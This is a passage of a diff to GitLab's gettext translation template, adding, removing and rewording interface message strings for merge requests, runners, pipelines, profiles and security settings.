-msgid "Limit display of time tracking units to hours."
+msgid "Licenses|View license details for your project"
msgstr ""
-msgid "Limit namespaces and projects that can be indexed"
+msgid "Limit display of time tracking units to hours."
msgstr ""
msgid "Limit project size at a global, group, and project level. %{link_start}Learn more%{link_end}."
@@ -20965,6 +21309,9 @@ msgstr ""
msgid "Limit the number of issues and epics per minute a user can create through web and API requests."
msgstr ""
+msgid "Limit the number of namespaces and projects that can be indexed."
+msgstr ""
+
msgid "Limit the size of Sidekiq jobs stored in Redis."
msgstr ""
@@ -21182,7 +21529,7 @@ msgstr ""
msgid "MERGED"
msgstr ""
-msgid "MR widget|Back to the Merge request"
+msgid "MR widget|Back to the merge request"
msgstr ""
msgid "MR widget|See your pipeline in action"
@@ -21263,7 +21610,7 @@ msgstr ""
msgid "Manage applications that can use GitLab as an OAuth provider, and applications that you've authorized to use your account."
msgstr ""
-msgid "Manage applications that can use GitLab as an OAuth provider."
+msgid "Manage applications that use GitLab as an OAuth provider."
msgstr ""
msgid "Manage applications that you've authorized to use your account."
@@ -21476,6 +21823,9 @@ msgstr ""
msgid "Maximum Conan package file size in bytes"
msgstr ""
+msgid "Maximum Helm chart file size in bytes"
+msgstr ""
+
msgid "Maximum Maven package file size in bytes"
msgstr ""
@@ -21494,6 +21844,9 @@ msgstr ""
msgid "Maximum allowable lifetime for personal access token (days)"
msgstr ""
+msgid "Maximum allowed lifetime for SSH keys (in days)"
+msgstr ""
+
msgid "Maximum artifacts size"
msgstr ""
@@ -21701,9 +22054,6 @@ msgstr ""
msgid "MemberInviteEmail|%{member_name} invited you to join GitLab"
msgstr ""
-msgid "MemberInviteEmail|I've invited you to join me in GitLab"
-msgstr ""
-
msgid "MemberInviteEmail|Invitation to join the %{project_or_group} %{project_or_group_name}"
msgstr ""
@@ -21866,6 +22216,12 @@ msgstr ""
msgid "Merge automatically (%{strategy})"
msgstr ""
+msgid "Merge blocked: all merge request dependencies must be merged or closed."
+msgstr ""
+
+msgid "Merge blocked: merge request must be marked as ready. It's still marked as draft."
+msgstr ""
+
msgid "Merge blocked: new changes were just added."
msgstr ""
@@ -21881,6 +22237,9 @@ msgstr ""
msgid "Merge commit message"
msgstr ""
+msgid "Merge details"
+msgstr ""
+
msgid "Merge events"
msgstr ""
@@ -21926,22 +22285,13 @@ msgstr ""
msgid "Merge requests"
msgstr ""
-msgid "Merge requests I've created"
-msgstr ""
-
msgid "Merge requests are a place to propose changes you've made to a project and discuss those changes with others"
msgstr ""
-msgid "Merge requests are read-only in a secondary Geo node"
-msgstr ""
-
-msgid "Merge requests assigned to me"
+msgid "Merge the branch and fix any conflicts that come up"
msgstr ""
-msgid "Merge requests that I'm a reviewer"
-msgstr ""
-
-msgid "Merge the branch and fix any conflicts that come up"
+msgid "Merge unavailable: merge requests are read-only in a secondary Geo node."
msgstr ""
msgid "Merge when pipeline succeeds"
@@ -22061,6 +22411,18 @@ msgstr ""
msgid "MergeRequest|Approved by @%{username}"
msgstr ""
+msgid "MergeRequest|Can't show this merge request because of an internal error. Contact your administrator."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the fork project was deleted."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the source branch %{badge_start}%{source_branch}%{badge_end} is missing from project %{badge_start}%{project_path}%{badge_end}. Close this merge request or update the source branch."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the target branch %{badge_start}%{target_branch}%{badge_end} is missing from project %{badge_start}%{project_path}%{badge_end}. Close this merge request or update the target branch."
+msgstr ""
+
msgid "MergeRequest|Compare %{target} and %{source}"
msgstr ""
@@ -22702,6 +23064,9 @@ msgstr ""
msgid "MissingSSHKeyWarningLink|Don't show again"
msgstr ""
+msgid "MissingSSHKeyWarningLink|You can't push or pull repositories using SSH until you add an SSH key to your profile."
+msgstr ""
+
msgid "MissingSSHKeyWarningLink|You won't be able to pull or push repositories via SSH until you add an SSH key to your profile"
msgstr ""
@@ -22955,9 +23320,6 @@ msgstr ""
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
-msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines. To learn more about reducing storage capacity please visit our docs."
-msgstr ""
-
msgid "NamespaceUserCap|Pending users must be reviewed and approved by a group owner. Learn more about %{user_caps_link_start}User Caps%{link_end} and %{users_pending_approval_link_start}Users Pending Approval%{link_end}."
msgstr ""
@@ -23108,9 +23470,6 @@ msgstr ""
msgid "NetworkPolicies|None selected"
msgstr ""
-msgid "NetworkPolicies|Please %{installLinkStart}install%{installLinkEnd} and %{configureLinkStart}configure a Kubernetes Agent for this project%{configureLinkEnd} to enable alerts."
-msgstr ""
-
msgid "NetworkPolicies|Policy %{policyName} was successfully changed"
msgstr ""
@@ -23135,6 +23494,9 @@ msgstr ""
msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
msgstr ""
+msgid "NetworkPolicies|To enable alerts, %{installLinkStart}install an agent%{installLinkEnd} first."
+msgstr ""
+
msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
msgstr ""
@@ -23340,6 +23702,9 @@ msgstr ""
msgid "New milestone"
msgstr ""
+msgid "New name"
+msgstr ""
+
msgid "New password"
msgstr ""
@@ -23376,6 +23741,9 @@ msgstr ""
msgid "New schedule"
msgstr ""
+msgid "New service account is generated for the selected Google Cloud project"
+msgstr ""
+
msgid "New snippet"
msgstr ""
@@ -23571,6 +23939,9 @@ msgstr ""
msgid "No forks are available to you."
msgstr ""
+msgid "No group provided"
+msgstr ""
+
msgid "No grouping"
msgstr ""
@@ -23619,9 +23990,15 @@ msgstr ""
msgid "No matching results..."
msgstr ""
+msgid "No member provided"
+msgstr ""
+
msgid "No members found"
msgstr ""
+msgid "No memberships found"
+msgstr ""
+
msgid "No merge requests found"
msgstr ""
@@ -23664,6 +24041,9 @@ msgstr ""
msgid "No projects found"
msgstr ""
+msgid "No public deploy keys"
+msgstr ""
+
msgid "No public groups"
msgstr ""
@@ -23685,6 +24065,9 @@ msgstr ""
msgid "No schedules"
msgstr ""
+msgid "No service accounts"
+msgstr ""
+
msgid "No severity matches the provided parameter"
msgstr ""
@@ -23782,6 +24165,9 @@ msgstr ""
msgid "Not confidential"
msgstr ""
+msgid "Not found"
+msgstr ""
+
msgid "Not found."
msgstr ""
@@ -24005,7 +24391,7 @@ msgstr ""
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
-msgid "Number of Elasticsearch shards and replicas (per index)"
+msgid "Number of Elasticsearch shards and replicas per index:"
msgstr ""
msgid "Number of Git pushes after which %{code_start}git gc%{code_end} is run."
@@ -24161,7 +24547,7 @@ msgstr ""
msgid "OnCallSchedules|For this rotation, on-call will be:"
msgstr ""
-msgid "OnCallSchedules|On-call schedule %{obstacle} in Project %{project}"
+msgid "OnCallSchedules|On-call schedule %{obstacle} in project %{project}"
msgstr ""
msgid "OnCallSchedules|On-call schedules"
@@ -24245,6 +24631,12 @@ msgstr ""
msgid "OnCallSchedules|Your schedule has been successfully created. To add individual users to this schedule, use the Add a rotation button. To enable notifications for this schedule, you must also create an %{linkStart}escalation policy%{linkEnd}."
msgstr ""
+msgid "OnDemandScans|%{learnMoreLinkStart}Learn more about on-demand scans%{learnMoreLinkEnd}."
+msgstr ""
+
+msgid "OnDemandScans|Could not fetch on-demand scans. Please refresh the page, or try again later."
+msgstr ""
+
msgid "OnDemandScans|Could not fetch scanner profiles. Please refresh the page, or try again later."
msgstr ""
@@ -24335,19 +24727,19 @@ msgstr ""
msgid "OnDemandScans|Target"
msgstr ""
-msgid "OnDemandScans|Use existing scanner profile"
+msgid "OnDemandScans|There are no finished scans."
msgstr ""
-msgid "OnDemandScans|Use existing site profile"
+msgid "OnDemandScans|There are no running scans."
msgstr ""
-msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
+msgid "OnDemandScans|Use existing scanner profile"
msgstr ""
-msgid "Once a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
+msgid "OnDemandScans|Use existing site profile"
msgstr ""
-msgid "Once a project is permanently deleted, it cannot be recovered. You will lose this project's repository and all related resources, including issues and merge requests."
+msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
msgstr ""
msgid "Once imported, repositories can be mirrored over SSH. Read more %{link_start}here%{link_end}."
@@ -24369,6 +24761,12 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "One or more contacts were successfully added."
+msgstr ""
+
+msgid "One or more contacts were successfully removed."
+msgstr ""
+
msgid "One or more groups that you don't have access to."
msgstr ""
@@ -24408,6 +24806,9 @@ msgstr ""
msgid "Only effective when remote storage is enabled. Set to 0 for no size limit."
msgstr ""
+msgid "Only enable search after installing the plugin, enabling indexing, and recreating the index."
+msgstr ""
+
msgid "Only include features new to your current subscription tier."
msgstr ""
@@ -24429,6 +24830,9 @@ msgstr ""
msgid "Only reCAPTCHA v2 is supported:"
msgstr ""
+msgid "Only use lowercase letters, numbers, and underscores."
+msgstr ""
+
msgid "Only users from the specified IP address ranges are able to reach this group, including all subgroups, projects, and Git repositories."
msgstr ""
@@ -24447,7 +24851,7 @@ msgstr ""
msgid "Open Selection"
msgstr ""
-msgid "Open a CLI and connect to the cluster you want to install the Agent in. Use this installation method to minimize any manual steps. The token is already included in the command."
+msgid "Open a CLI and connect to the cluster you want to install the agent in. Use this installation method to minimize any manual steps. The token is already included in the command."
msgstr ""
msgid "Open epics"
@@ -24687,6 +25091,9 @@ msgstr ""
msgid "Package type must be Maven"
msgstr ""
+msgid "Package type must be NPM"
+msgstr ""
+
msgid "Package type must be NuGet"
msgstr ""
@@ -25045,6 +25452,9 @@ msgstr ""
msgid "Page settings"
msgstr ""
+msgid "Page size"
+msgstr ""
+
msgid "PagerDutySettings|Active"
msgstr ""
@@ -25141,9 +25551,6 @@ msgstr ""
msgid "Password"
msgstr ""
-msgid "Password (for password-protected Elasticsearch servers)"
-msgstr ""
-
msgid "Password (optional)"
msgstr ""
@@ -25396,6 +25803,12 @@ msgstr ""
msgid "Pipeline %{label} for \"%{dataTitle}\""
msgstr ""
+msgid "Pipeline Editor"
+msgstr ""
+
+msgid "Pipeline Editor|Are you sure you want to reset the file to its last committed version?"
+msgstr ""
+
msgid "Pipeline ID"
msgstr ""
@@ -25711,9 +26124,6 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
-msgid "Pipelines|No artifacts available"
-msgstr ""
-
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -25843,6 +26253,9 @@ msgstr ""
msgid "Pipeline|Created"
msgstr ""
+msgid "Pipeline|Creating pipeline."
+msgstr ""
+
msgid "Pipeline|Date"
msgstr ""
@@ -25858,9 +26271,6 @@ msgstr ""
msgid "Pipeline|In progress"
msgstr ""
-msgid "Pipeline|Key"
-msgstr ""
-
msgid "Pipeline|Manual"
msgstr ""
@@ -25951,10 +26361,10 @@ msgstr ""
msgid "Pipeline|Triggerer"
msgstr ""
-msgid "Pipeline|Value"
+msgid "Pipeline|Variables"
msgstr ""
-msgid "Pipeline|Variables"
+msgid "Pipeline|View commit"
msgstr ""
msgid "Pipeline|View pipeline"
@@ -26095,6 +26505,9 @@ msgstr ""
msgid "Please enter a valid number"
msgstr ""
+msgid "Please enter a valid time interval"
+msgstr ""
+
msgid "Please enter or upload a valid license."
msgstr ""
@@ -26122,9 +26535,6 @@ msgstr ""
msgid "Please note that this application is not provided by GitLab and you should verify its authenticity before allowing access."
msgstr ""
-msgid "Please only enable search after installing the plugin, enabling indexing and recreating the index"
-msgstr ""
-
msgid "Please provide a name"
msgstr ""
@@ -26365,7 +26775,7 @@ msgstr ""
msgid "Prev"
msgstr ""
-msgid "Prevent adding new members to project membership within this group"
+msgid "Prevent adding new members to projects within this group"
msgstr ""
msgid "Prevent auto-stopping"
@@ -26647,7 +27057,7 @@ msgstr ""
msgid "Profiles|Do not show on profile"
msgstr ""
-msgid "Profiles|Don't display activity-related personal information on your profiles"
+msgid "Profiles|Don't display activity-related personal information on your profile"
msgstr ""
msgid "Profiles|Edit Profile"
@@ -26668,13 +27078,13 @@ msgstr ""
msgid "Profiles|Enter your pronouns to let people know how to refer to you"
msgstr ""
-msgid "Profiles|Expired key is not valid."
+msgid "Profiles|Expiration date"
msgstr ""
-msgid "Profiles|Expired:"
+msgid "Profiles|Expired key is not valid."
msgstr ""
-msgid "Profiles|Expires at"
+msgid "Profiles|Expired:"
msgstr ""
msgid "Profiles|Expires:"
@@ -26716,13 +27126,16 @@ msgstr ""
msgid "Profiles|Key"
msgstr ""
-msgid "Profiles|Key can still be used after expiration."
+msgid "Profiles|Key becomes invalid on this date."
msgstr ""
-msgid "Profiles|Key usable beyond expiration date."
+msgid "Profiles|Key becomes invalid on this date. Maximum lifetime for SSH keys is %{max_ssh_key_lifetime} days"
+msgstr ""
+
+msgid "Profiles|Key can still be used after expiration."
msgstr ""
-msgid "Profiles|Key will be deleted on this date."
+msgid "Profiles|Key usable beyond expiration date."
msgstr ""
msgid "Profiles|Last used:"
@@ -27052,9 +27465,6 @@ msgstr ""
msgid "Project name"
msgstr ""
-msgid "Project name suffix"
-msgstr ""
-
msgid "Project navigation"
msgstr ""
@@ -27133,6 +27543,9 @@ msgstr ""
msgid "ProjectOverview|Unstar"
msgstr ""
+msgid "ProjectOverview|You don't have permission to fork this project"
+msgstr ""
+
msgid "ProjectOverview|You have reached your project limit"
msgstr ""
@@ -27400,12 +27813,18 @@ msgstr ""
msgid "ProjectSettings|Manages large files such as audio, video, and graphics files."
msgstr ""
+msgid "ProjectSettings|Maximum 500 characters."
+msgstr ""
+
msgid "ProjectSettings|Merge checks"
msgstr ""
msgid "ProjectSettings|Merge commit"
msgstr ""
+msgid "ProjectSettings|Merge commit message template"
+msgstr ""
+
msgid "ProjectSettings|Merge commit with semi-linear history"
msgstr ""
@@ -27475,6 +27894,9 @@ msgstr ""
msgid "ProjectSettings|Requirements management system."
msgstr ""
+msgid "ProjectSettings|Search for topic"
+msgstr ""
+
msgid "ProjectSettings|Security & Compliance"
msgstr ""
@@ -27499,6 +27921,9 @@ msgstr ""
msgid "ProjectSettings|Snippets"
msgstr ""
+msgid "ProjectSettings|Squash commit message template"
+msgstr ""
+
msgid "ProjectSettings|Squash commits when merging"
msgstr ""
@@ -27520,6 +27945,12 @@ msgstr ""
msgid "ProjectSettings|The commit message used when applying merge request suggestions. %{link_start}Learn more about suggestions.%{link_end}"
msgstr ""
+msgid "ProjectSettings|The commit message used when merging, if the merge method creates a merge commit. %{link_start}Learn more about syntax and variables.%{link_end}"
+msgstr ""
+
+msgid "ProjectSettings|The commit message used when squashing commits. %{link_start}Learn more about syntax and variables.%{link_end}"
+msgstr ""
+
msgid "ProjectSettings|The default target project for merge requests created in this fork project."
msgstr ""
@@ -27724,6 +28155,9 @@ msgstr ""
msgid "Projects with no vulnerabilities and security scanning enabled"
msgstr ""
+msgid "Projects with this topic"
+msgstr ""
+
msgid "Projects with write access"
msgstr ""
@@ -27931,6 +28365,9 @@ msgstr ""
msgid "Promote issue to an epic"
msgstr ""
+msgid "Promote issue to incident"
+msgstr ""
+
msgid "Promote to epic"
msgstr ""
@@ -27949,9 +28386,15 @@ msgstr ""
msgid "Promoted issue to an epic."
msgstr ""
+msgid "Promotes issue to incident"
+msgstr ""
+
msgid "Promotion is not supported."
msgstr ""
+msgid "Promotions|Add %{link_start} description templates %{link_end} to help your contributors to communicate effectively!"
+msgstr ""
+
msgid "Promotions|Add Group Webhooks and GitLab Enterprise Edition."
msgstr ""
@@ -28312,6 +28755,9 @@ msgstr ""
msgid "Public Access Help"
msgstr ""
+msgid "Public deploy keys"
+msgstr ""
+
msgid "Public deploy keys (%{deploy_keys_count})"
msgstr ""
@@ -28474,6 +28920,9 @@ msgstr ""
msgid "PushoverService|Total commits count: %{total_commits_count}"
msgstr ""
+msgid "QualitySummary|Project quality"
+msgstr ""
+
msgid "Quarters"
msgstr ""
@@ -28588,6 +29037,12 @@ msgstr ""
msgid "Recaptcha verified?"
msgstr ""
+msgid "Receive a $50 gift card as a thank you for your time."
+msgstr ""
+
+msgid "Receive a %{strongOpen}$50 gift card%{strongClose} as a thank you for your time."
+msgstr ""
+
msgid "Receive alerts from manually configured Prometheus servers."
msgstr ""
@@ -28691,9 +29146,6 @@ msgstr ""
msgid "Regex pattern"
msgstr ""
-msgid "Region that Elasticsearch is configured"
-msgstr ""
-
msgid "Register"
msgstr ""
@@ -28863,6 +29315,9 @@ msgstr ""
msgid "Remove Zoom meeting"
msgstr ""
+msgid "Remove Zoom meeting."
+msgstr ""
+
msgid "Remove access"
msgstr ""
@@ -28890,6 +29345,9 @@ msgstr ""
msgid "Remove assignee"
msgstr ""
+msgid "Remove attention request"
+msgstr ""
+
msgid "Remove avatar"
msgstr ""
@@ -28899,6 +29357,12 @@ msgstr ""
msgid "Remove child epic from an epic"
msgstr ""
+msgid "Remove customer relation contact(s)."
+msgstr ""
+
+msgid "Remove customer relation contacts"
+msgstr ""
+
msgid "Remove deploy key"
msgstr ""
@@ -29016,15 +29480,15 @@ msgstr ""
msgid "Removed %{reviewer_text} %{reviewer_references}."
msgstr ""
-msgid "Removed %{type} with id %{id}"
-msgstr ""
-
msgid "Removed all labels."
msgstr ""
msgid "Removed an issue from an epic."
msgstr ""
+msgid "Removed attention request from @%{username}"
+msgstr ""
+
msgid "Removed group can not be restored!"
msgstr ""
@@ -29040,6 +29504,9 @@ msgstr ""
msgid "Removed time estimate."
msgstr ""
+msgid "Removed upload with id %{id}"
+msgstr ""
+
msgid "RemovedProjects|Projects which are removed and are yet to be permanently removed are visible here."
msgstr ""
@@ -29109,6 +29576,9 @@ msgstr ""
msgid "Reopen %{issueType}"
msgstr ""
+msgid "Reopen %{noteable}"
+msgstr ""
+
msgid "Reopen epic"
msgstr ""
@@ -29133,6 +29603,9 @@ msgstr ""
msgid "Replace"
msgstr ""
+msgid "Replace %{blob_name}"
+msgstr ""
+
msgid "Replace %{name}"
msgstr ""
@@ -29320,6 +29793,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Average test coverage last 30 days"
msgstr ""
+msgid "RepositoriesAnalytics|Code Coverage: %{averageCoverage}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Coverage"
msgstr ""
@@ -29341,6 +29817,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Jobs with Coverage"
msgstr ""
+msgid "RepositoriesAnalytics|Jobs with Coverage: %{coverageCount}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Last Update"
msgstr ""
@@ -29359,6 +29838,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Projects with Coverage"
msgstr ""
+msgid "RepositoriesAnalytics|Projects with Coverage: %{projectCount}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Test Code Coverage"
msgstr ""
@@ -29437,7 +29919,7 @@ msgstr ""
msgid "Repository update events"
msgstr ""
-msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
+msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / Pipeline Artifacts: %{counter_pipeline_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
msgstr ""
msgid "RepositorySettingsAccessLevel|Select"
@@ -29452,6 +29934,12 @@ msgstr ""
msgid "Request a new one"
msgstr ""
+msgid "Request attention"
+msgstr ""
+
+msgid "Request attention to review"
+msgstr ""
+
msgid "Request details"
msgstr ""
@@ -29473,6 +29961,9 @@ msgstr ""
msgid "Requested %{time_ago}"
msgstr ""
+msgid "Requested attention from @%{username}"
+msgstr ""
+
msgid "Requested design version does not exist."
msgstr ""
@@ -29512,6 +30003,9 @@ msgstr ""
msgid "Required in this project."
msgstr ""
+msgid "Required only if you are not using role instance credentials."
+msgstr ""
+
msgid "Requirement %{reference} has been added"
msgstr ""
@@ -29583,6 +30077,9 @@ msgstr ""
msgid "Reset authorization key?"
msgstr ""
+msgid "Reset file"
+msgstr ""
+
msgid "Reset filters"
msgstr ""
@@ -29903,6 +30400,9 @@ msgstr "Strona robotników."
msgid "Runners|Active"
msgstr ""
+msgid "Runners|All"
+msgstr ""
+
msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. %{percentage} spot."
msgstr ""
@@ -29957,6 +30457,9 @@ msgstr ""
msgid "Runners|For each solution, you will choose a capacity. 1 enables warm HA through Auto Scaling group re-spawn. 2 enables hot HA because the service is available even when a node is lost. 3 or more enables hot HA and manual scaling of runner fleet."
msgstr ""
+msgid "Runners|Group"
+msgstr ""
+
msgid "Runners|Group Runners"
msgstr ""
@@ -29969,6 +30472,9 @@ msgstr ""
msgid "Runners|Install a runner"
msgstr ""
+msgid "Runners|Instance"
+msgstr ""
+
msgid "Runners|Last contact"
msgstr ""
@@ -29990,6 +30496,9 @@ msgstr ""
msgid "Runners|New runner, has not connected yet"
msgstr ""
+msgid "Runners|No recent contact from this runner; last contact was %{timeAgo}"
+msgstr ""
+
msgid "Runners|Not available to run jobs"
msgstr ""
@@ -30002,12 +30511,18 @@ msgstr ""
msgid "Runners|Online"
msgstr ""
+msgid "Runners|Online Runners"
+msgstr ""
+
msgid "Runners|Paused"
msgstr ""
msgid "Runners|Platform"
msgstr ""
+msgid "Runners|Project"
+msgstr ""
+
msgid "Runners|Property Name"
msgstr ""
@@ -30041,6 +30556,9 @@ msgstr ""
msgid "Runners|Runner #%{runner_id}"
msgstr ""
+msgid "Runners|Runner ID"
+msgstr ""
+
msgid "Runners|Runner assigned to project."
msgstr ""
@@ -30050,6 +30568,9 @@ msgstr ""
msgid "Runners|Runner is online, last contact was %{runner_contact} ago"
msgstr ""
+msgid "Runners|Runner is online; last contact was %{timeAgo}"
+msgstr ""
+
msgid "Runners|Runner is paused, last contact was %{runner_contact} ago"
msgstr ""
@@ -30080,12 +30601,18 @@ msgstr ""
msgid "Runners|Something went wrong while fetching the tags suggestions"
msgstr ""
+msgid "Runners|Status"
+msgstr ""
+
msgid "Runners|Stop the runner from accepting new jobs."
msgstr ""
msgid "Runners|Tags"
msgstr ""
+msgid "Runners|This runner has never connected to this instance"
+msgstr ""
+
msgid "Runners|This runner is associated with one or more projects."
msgstr ""
@@ -30143,19 +30670,25 @@ msgstr ""
msgid "Runners|You have used %{quotaUsed} out of %{quotaLimit} of your shared Runners pipeline minutes."
msgstr ""
-msgid "Runners|group"
+msgid "Runners|active"
msgstr ""
-msgid "Runners|instance"
+msgid "Runners|group"
msgstr ""
msgid "Runners|locked"
msgstr ""
-msgid "Runners|paused"
+msgid "Runners|not connected"
+msgstr ""
+
+msgid "Runners|offline"
+msgstr ""
+
+msgid "Runners|online"
msgstr ""
-msgid "Runners|project"
+msgid "Runners|paused"
msgstr ""
msgid "Runners|shared"
@@ -30236,21 +30769,6 @@ msgstr ""
msgid "SVG illustration"
msgstr ""
-msgid "SastEntryPoints|Add Security Testing"
-msgstr ""
-
-msgid "SastEntryPoints|Catch your security vulnerabilities ahead of time!"
-msgstr ""
-
-msgid "SastEntryPoints|GitLab can scan your code for security vulnerabilities. Static Application Security Testing (SAST) helps you worry less and build more."
-msgstr ""
-
-msgid "SastEntryPoints|How do I set up SAST?"
-msgstr ""
-
-msgid "SastEntryPoints|Learn more"
-msgstr ""
-
msgid "Satisfied"
msgstr ""
@@ -30649,6 +31167,9 @@ msgstr ""
msgid "Secure token that identifies an external storage request."
msgstr ""
+msgid "SecureCodeWarrior"
+msgstr ""
+
msgid "Security"
msgstr ""
@@ -30673,6 +31194,9 @@ msgstr ""
msgid "Security report is out of date. Run %{newPipelineLinkStart}a new pipeline%{newPipelineLinkEnd} for the target branch (%{targetBranchName})"
msgstr ""
+msgid "Security training with guide and learning pathways."
+msgstr ""
+
msgid "SecurityApprovals|A merge request approval is required when a security report contains a new vulnerability."
msgstr ""
@@ -30721,7 +31245,7 @@ msgstr ""
msgid "SecurityConfiguration|Available with Ultimate"
msgstr ""
-msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the Merge Request."
+msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the merge request."
msgstr ""
msgid "SecurityConfiguration|Compliance"
@@ -30736,7 +31260,7 @@ msgstr ""
msgid "SecurityConfiguration|Configure %{feature}"
msgstr ""
-msgid "SecurityConfiguration|Configure via Merge Request"
+msgid "SecurityConfiguration|Configure with a merge request"
msgstr ""
msgid "SecurityConfiguration|Copy code and open .gitlab-ci.yml file"
@@ -30748,7 +31272,7 @@ msgstr ""
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
msgstr ""
-msgid "SecurityConfiguration|Create Merge Request"
+msgid "SecurityConfiguration|Create merge request"
msgstr ""
msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{linkStart}GitLab SAST documentation%{linkEnd}."
@@ -30808,6 +31332,9 @@ msgstr ""
msgid "SecurityConfiguration|Security testing"
msgstr ""
+msgid "SecurityConfiguration|Security training"
+msgstr ""
+
msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}."
msgstr ""
@@ -30817,6 +31344,9 @@ msgstr ""
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
msgstr ""
+msgid "SecurityConfiguration|Vulnerability Management"
+msgstr ""
+
msgid "SecurityConfiguration|Vulnerability details and statistics in the merge request"
msgstr ""
@@ -30841,6 +31371,12 @@ msgstr ""
msgid "SecurityOrchestration|An error occurred assigning your security policy project"
msgstr ""
+msgid "SecurityOrchestration|An error occurred unassigning your security policy project"
+msgstr ""
+
+msgid "SecurityOrchestration|Choose a project"
+msgstr ""
+
msgid "SecurityOrchestration|Description"
msgstr ""
@@ -30910,7 +31446,10 @@ msgstr ""
msgid "SecurityOrchestration|Scan execution policies can only be created by project owners."
msgstr ""
-msgid "SecurityOrchestration|Scan to be performed every %{cadence} on the %{branches}"
+msgid "SecurityOrchestration|Scan to be performed %{cadence}"
+msgstr ""
+
+msgid "SecurityOrchestration|Scan to be performed %{cadence} on the %{branches}"
msgstr ""
msgid "SecurityOrchestration|Scan to be performed on every pipeline on the %{branches}"
@@ -30919,6 +31458,9 @@ msgstr ""
msgid "SecurityOrchestration|Security policy project was linked successfully"
msgstr ""
+msgid "SecurityOrchestration|Security policy project was unlinked successfully"
+msgstr ""
+
msgid "SecurityOrchestration|Select a project to store your security policies in. %{linkStart}More information.%{linkEnd}"
msgstr ""
@@ -30940,6 +31482,12 @@ msgstr ""
msgid "SecurityOrchestration|To widen your search, change filters above or select a different security policy project."
msgstr ""
+msgid "SecurityOrchestration|Unlink project"
+msgstr ""
+
+msgid "SecurityOrchestration|Unlinking a security project removes all policies stored in the linked security project. Save to confirm this action."
+msgstr ""
+
msgid "SecurityOrchestration|Update scan execution policies"
msgstr ""
@@ -31159,7 +31707,7 @@ msgstr ""
msgid "SecurityReports|Take survey"
msgstr ""
-msgid "SecurityReports|The Vulnerability Report shows the results of the lastest successful pipeline on your project's default branch, as well as vulnerabilities from your latest container scan. %{linkStart}Learn more.%{linkEnd}"
+msgid "SecurityReports|The Vulnerability Report shows the results of the latest successful pipeline on your project's default branch, as well as vulnerabilities from your latest container scan. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
msgid "SecurityReports|The security reports below contain one or more vulnerability findings that could not be parsed and were not recorded. Download the artifacts in the job output to investigate. Ensure any security report created conforms to the relevant %{helpPageLinkStart}JSON schema%{helpPageLinkEnd}."
@@ -31192,6 +31740,9 @@ msgstr ""
msgid "SecurityReports|There was an error while generating the report."
msgstr ""
+msgid "SecurityReports|These vulnerabilities were detected in external sources. They are not necessarily tied to your GitLab project. For example, running containers, URLs, and so on."
+msgstr ""
+
msgid "SecurityReports|To widen your search, change or remove filters above"
msgstr ""
@@ -31330,6 +31881,9 @@ msgstr ""
msgid "Select assignee"
msgstr ""
+msgid "Select assignee(s)"
+msgstr ""
+
msgid "Select branch"
msgstr ""
@@ -31534,9 +32088,6 @@ msgstr ""
msgid "Sep"
msgstr ""
-msgid "Separate topics with commas."
-msgstr ""
-
msgid "September"
msgstr ""
@@ -31636,7 +32187,16 @@ msgstr ""
msgid "Service"
msgstr ""
-msgid "Service Accounts keys are required to authorize GitLab to deploy your Google Cloud project."
+msgid "Service Account"
+msgstr ""
+
+msgid "Service Account Key"
+msgstr ""
+
+msgid "Service Accounts"
+msgstr ""
+
+msgid "Service Accounts keys authorize GitLab to deploy your Google Cloud project"
msgstr ""
msgid "Service Desk"
@@ -31648,6 +32208,9 @@ msgstr ""
msgid "Service URL"
msgstr ""
+msgid "Service account generated successfully"
+msgstr ""
+
msgid "Service ping is disabled in your configuration file, and cannot be enabled through this form."
msgstr ""
@@ -31693,6 +32256,9 @@ msgstr ""
msgid "ServicePing|Turn on service ping to review instance-level analytics."
msgstr ""
+msgid "Services"
+msgstr ""
+
msgid "Session ID"
msgstr ""
@@ -31774,6 +32340,9 @@ msgstr ""
msgid "Set the iteration to %{iteration_reference}."
msgstr ""
